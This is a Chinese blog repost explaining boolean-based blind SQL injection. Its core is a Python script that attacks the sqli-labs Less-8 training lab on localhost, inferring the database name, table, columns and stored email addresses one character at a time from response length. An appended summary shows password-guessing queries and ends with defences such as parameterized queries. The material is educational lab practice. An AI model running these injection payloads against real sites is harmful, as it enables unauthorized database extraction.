基于布尔的盲注

 盲注是注入的一种,指的是在不知道数据返回值的情况下对数据中的内容进行猜测,实施注入。盲注一般分为布尔盲注和基于时间的盲注

#coding:utf-8 2 import requests 3 4 # chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' 5 6 #得知库名长度是8:http://localhost/sqlilabs/Less-8/?id=2' and length(database())>2 %23 7 8 def get_db_name(): 9 result="" 10 url_tempate="http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr(database(),{0},1))>{1} %23" 11 chars='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' 12 for i in range(1,9): 13 for char in chars: 14 char_ascii=ord(char) 15 url=url_tempate.format(i,char_ascii) 16 response=requests.get(url) 17 length=len(response.text) 18 #返回的长度只有706和722 19 if length > 706: 20 result +=char 21 break 22 print (result) 23 24 #此处http://localhost/sqlilabs/Less-8/?id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23得知表名长度是6 25 def get_table_name(): 26 result="" 27 url_tempate="http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1} %23" 28 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' 29 for i in range(1,7): 30 for char in chars: 31 char_ascii=ord(char) 32 url=url_tempate.format(i,char_ascii) 33 response=requests.get(url) 34 length=len(response.text) 35 #返回的长度只有706和722 36 if length>706: 37 result+=char 38 break 39 print(result) 40 41 #在得到列名之前,同样需要知道在表中的字段长度。例如我们想要知道在emails表中的长度,那么就可以使用如下的语句来获取。http://localhost/sqlilabs/Less-8/?id=2' and (select length(column_name) from inf 42 43 def get_column_name(): 44 result = "" 45 url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 0,1),{0},1))>{1} %23" 46 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz' 47 for i in range(1,3): 48 for char in chars: 49 char_ascii = ord(char) 50 url = url_template.format(i,char_ascii) 51 response = requests.get(url) 52 length = len(response.text) 53 #返回的长度只有706和722 54 if length>706: 55 result += char 56 break 57 print(result) 58 59 def get_data(): 60 result = "" 61 url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select email_id from emails limit 0,1),{0},1))>{1} %23" 62 chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz' 63 for i in range(1,17): 64 for char in chars: 65 char_ascii = ord(char) 66 url = url_template.format(i,char_ascii) 67 response = requests.get(url) 68 length = len(response.text) 69 #返回的长度只有706和722 70 if length>706: 71 result += char 72 break 73 print(result)

 

转载于:https://www.cnblogs.com/NBeveryday/p/8687373.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
基于布尔盲注是一种常见的SQL注入攻击技术,可以通过构造特定的SQL查询语句来获取数据库中的敏感信息。在这种攻击中,攻击者通过向受攻击的应用程序中输入恶意的SQL代码来触发漏洞。 在基于布尔盲注中,攻击者利用应用程序返回的不同响应来判断SQL查询结果是否为真或假。攻击者可以通过构造一系列的布尔查询来逐渐推断出数据库中的敏感信息。例如,攻击者可以通过构造以下查询语句来判断数据库中是否存在用户名为“admin”的记录: ``` SELECT COUNT(*) FROM users WHERE username = 'admin' AND 1=1 ``` 如果应用程序返回的响应为真,那么攻击者可以通过构造以下查询语句来判断密码是否为“password”: ``` SELECT COUNT(*) FROM users WHERE username = 'admin' AND password = 'password' AND 1=1 ``` 如果应用程序返回的响应为假,那么攻击者可以通过构造以下查询语句来判断密码是否为“password”: ``` SELECT COUNT(*) FROM users WHERE username = 'admin' AND password <> 'password' AND 1=1 ``` 通过不断尝试构造不同的查询语句,并观察应用程序的响应,攻击者可以最终推断出数据库中的敏感信息。 为了防止基于布尔盲注攻击,应用程序应该对用户输入进行充分的验证和过滤,并使用参数化的SQL查询语句来避免SQL注入攻击。此外,应用程序还应该限制数据库用户的权限,以最小化攻击者获取敏感信息的可能性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值